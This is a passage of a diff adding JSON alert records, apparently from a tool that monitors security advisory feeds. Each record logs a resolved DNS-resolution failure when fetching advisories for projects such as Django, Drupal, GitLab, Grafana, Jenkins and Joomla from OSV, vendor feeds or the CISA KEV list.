+ "last_category": "network",
+ "last_failure": {
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "source_name": "OSV Discourse",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "discourse::OSV Discourse::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "django::Django Security Releases Archive",
+ "system_id": "django",
+ "display_name": "Django",
+ "source_name": "Django Security Releases Archive",
+ "source_kind": "vendor-index",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "django",
+ "display_name": "Django",
+ "source_name": "Django Security Releases Archive",
+ "source_kind": "vendor-index",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://docs.djangoproject.com/en/dev/releases/security/",
+ "summary": "django::Django Security Releases Archive::network::HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "django::Django Security Weblog",
+ "system_id": "django",
+ "display_name": "Django",
+ "source_name": "Django Security Weblog",
+ "source_kind": "vendor-index",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "django",
+ "display_name": "Django",
+ "source_name": "Django Security Weblog",
+ "source_kind": "vendor-index",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.djangoproject.com/weblog/",
+ "summary": "django::Django Security Weblog::network::HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "django::OSV Django",
+ "system_id": "django",
+ "display_name": "Django",
+ "source_name": "OSV Django",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "django",
+ "display_name": "Django",
+ "source_name": "OSV Django",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "django::OSV Django::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "drupal::Drupal Security Advisories RSS",
+ "system_id": "drupal",
+ "display_name": "Drupal",
+ "source_name": "Drupal Security Advisories RSS",
+ "source_kind": "rss-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "drupal",
+ "display_name": "Drupal",
+ "source_name": "Drupal Security Advisories RSS",
+ "source_kind": "rss-feed",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.drupal.org/security/rss.xml",
+ "summary": "drupal::Drupal Security Advisories RSS::network::HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "drupal::OSV Drupal",
+ "system_id": "drupal",
+ "display_name": "Drupal",
+ "source_name": "OSV Drupal",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "drupal",
+ "display_name": "Drupal",
+ "source_name": "OSV Drupal",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "drupal::OSV Drupal::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "echo::OSV Echo",
+ "system_id": "echo",
+ "display_name": "Echo",
+ "source_name": "OSV Echo",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "echo",
+ "display_name": "Echo",
+ "source_name": "OSV Echo",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "echo::OSV Echo::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "esbuild::OSV esbuild",
+ "system_id": "esbuild",
+ "display_name": "esbuild",
+ "source_name": "OSV esbuild",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "esbuild",
+ "display_name": "esbuild",
+ "source_name": "OSV esbuild",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "esbuild::OSV esbuild::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "express::OSV Express",
+ "system_id": "express",
+ "display_name": "Express",
+ "source_name": "OSV Express",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "express",
+ "display_name": "Express",
+ "source_name": "OSV Express",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "express::OSV Express::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "fastify::OSV Fastify",
+ "system_id": "fastify",
+ "display_name": "Fastify",
+ "source_name": "OSV Fastify",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "fastify",
+ "display_name": "Fastify",
+ "source_name": "OSV Fastify",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "fastify::OSV Fastify::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "flask::OSV Flask",
+ "system_id": "flask",
+ "display_name": "Flask",
+ "source_name": "OSV Flask",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "flask",
+ "display_name": "Flask",
+ "source_name": "OSV Flask",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "flask::OSV Flask::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "ghost::Ghost GitHub Advisories",
+ "system_id": "ghost",
+ "display_name": "Ghost",
+ "source_name": "Ghost GitHub Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "ghost",
+ "display_name": "Ghost",
+ "source_name": "Ghost GitHub Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://github.com/TryGhost/Ghost/security/advisories",
+ "summary": "ghost::Ghost GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "ghost::OSV Ghost",
+ "system_id": "ghost",
+ "display_name": "Ghost",
+ "source_name": "OSV Ghost",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "ghost",
+ "display_name": "Ghost",
+ "source_name": "OSV Ghost",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "ghost::OSV Ghost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "gin::OSV Gin",
+ "system_id": "gin",
+ "display_name": "Gin",
+ "source_name": "OSV Gin",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "gin",
+ "display_name": "Gin",
+ "source_name": "OSV Gin",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "gin::OSV Gin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "gitea::OSV Gitea",
+ "system_id": "gitea",
+ "display_name": "Gitea",
+ "source_name": "OSV Gitea",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "gitea",
+ "display_name": "Gitea",
+ "source_name": "OSV Gitea",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "gitea::OSV Gitea::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "gitlab-ce::GitLab Advisory Database",
+ "system_id": "gitlab-ce",
+ "display_name": "GitLab CE",
+ "source_name": "GitLab Advisory Database",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "gitlab-ce",
+ "display_name": "GitLab CE",
+ "source_name": "GitLab Advisory Database",
+ "source_kind": "html-links",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://gitlab.com/gitlab-org/advisories-community",
+ "summary": "gitlab-ce::GitLab Advisory Database::network::HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "gitlab-ce::GitLab Security Releases Atom",
+ "system_id": "gitlab-ce",
+ "display_name": "GitLab CE",
+ "source_name": "GitLab Security Releases Atom",
+ "source_kind": "atom-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "gitlab-ce",
+ "display_name": "GitLab CE",
+ "source_name": "GitLab Security Releases Atom",
+ "source_kind": "atom-feed",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://about.gitlab.com/security-releases.xml",
+ "summary": "gitlab-ce::GitLab Security Releases Atom::network::HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "grafana::CISA KEV Grafana",
+ "system_id": "grafana",
+ "display_name": "Grafana",
+ "source_name": "CISA KEV Grafana",
+ "source_kind": "kev-json",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "grafana",
+ "display_name": "Grafana",
+ "source_name": "CISA KEV Grafana",
+ "source_kind": "kev-json",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "summary": "grafana::CISA KEV Grafana::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "grafana::Grafana Security Advisories",
+ "system_id": "grafana",
+ "display_name": "Grafana",
+ "source_name": "Grafana Security Advisories",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "grafana",
+ "display_name": "Grafana",
+ "source_name": "Grafana Security Advisories",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://grafana.com/security/security-advisories/",
+ "summary": "grafana::Grafana Security Advisories::network::HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "hapi::OSV Hapi",
+ "system_id": "hapi",
+ "display_name": "Hapi",
+ "source_name": "OSV Hapi",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "hapi",
+ "display_name": "Hapi",
+ "source_name": "OSV Hapi",
+ "source_kind": "osv-batch",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
+ "summary": "hapi::OSV Hapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "haproxy::HAProxy Blog Feed",
+ "system_id": "haproxy",
+ "display_name": "HAProxy",
+ "source_name": "HAProxy Blog Feed",
+ "source_kind": "rss-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "haproxy",
+ "display_name": "HAProxy",
+ "source_name": "HAProxy Blog Feed",
+ "source_kind": "rss-feed",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.haproxy.com/feed/",
+ "summary": "haproxy::HAProxy Blog Feed::network::HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "jenkins::Jenkins Security Advisories RSS",
+ "system_id": "jenkins",
+ "display_name": "Jenkins",
+ "source_name": "Jenkins Security Advisories RSS",
+ "source_kind": "rss-feed",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "jenkins",
+ "display_name": "Jenkins",
+ "source_name": "Jenkins Security Advisories RSS",
+ "source_kind": "rss-feed",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://www.jenkins.io/security/advisories/rss.xml",
+ "summary": "jenkins::Jenkins Security Advisories RSS::network::HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "joomla::Joomla Security Centre",
+ "system_id": "joomla",
+ "display_name": "Joomla",
+ "source_name": "Joomla Security Centre",
+ "source_kind": "html-links",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "joomla",
+ "display_name": "Joomla",
+ "source_name": "Joomla Security Centre",
+ "source_kind": "html-links",
+ "source_bucket": "official_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "https://developer.joomla.org/security-centre.html",
+ "summary": "joomla::Joomla Security Centre::network::HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+ }
+ },
+ {
+ "alert_id": "joomla::OSV Joomla",
+ "system_id": "joomla",
+ "display_name": "Joomla",
+ "source_name": "OSV Joomla",
+ "source_kind": "osv-batch",
+ "status": "resolved",
+ "opened_at": "2026-03-21T12:51:08+00:00",
+ "updated_at": "2026-03-22T01:06:45+00:00",
+ "resolved_at": "2026-03-22T01:06:45+00:00",
+ "failure_streak": 1,
+ "last_category": "network",
+ "last_failure": {
+ "system_id": "joomla",
+ "display_name": "Joomla",
+ "source_name": "OSV Joomla",
+ "source_kind": "osv-batch",
+ "source_bucket": "ecosystem_sources",
+ "category": "network",
+ "exception": "ConnectionError",
+ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+ "status_code": null,
+ "url": "",
